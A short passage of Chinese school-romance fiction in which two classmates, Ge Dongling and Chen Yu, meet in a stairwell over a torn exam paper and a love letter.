“这么没礼貌吗戈冬菱同学。” 戈冬菱看着他那双眼睛,楼梯道里总是很阴凉,他站在暗面,眉目都仿佛被拓深了一度,眼神疏离冷淡。 “陈昱……请问我的卷子,你有没有捡到。” 戈冬菱盯着他右手口袋里露出来的一角纸张,想去拿。 他也没动,任由戈冬菱从他兜里拽出来,不小心从中间扯破了,卷子很干净,但每一个括号里都填了答案,右上角还写了名字。 这套卷子是年级段老师组织自愿购买的,一套里只有一张模拟卷一。 戈冬菱一时有些无措,想递给他,他又不接,就保持着原来的姿态往那一站,不说话,耷拉着眼皮,眼睛往上抬,漆黑的眼眸盯着她看。 “对不起。” 陈昱笑了。 “对不起就完了。” 说完之后,他清晰地看到戈冬菱的眼圈在慢慢变红。 “算了。” 陈昱说:“你用我的,帮我改了,答案写上。” 她就低着头手里攥着那张卷子,也不吭声,也不说话。 陈昱这辈子就没见过比戈冬菱还闷的人。 家规也严。 怪不得。 目光又落在她的脸颊上,在人转身下楼的那一瞬间,他才别过头问:“情书谁写的。” 戈冬菱没吭声,继续往楼下走。 “哒哒”的脚声像是一种默认。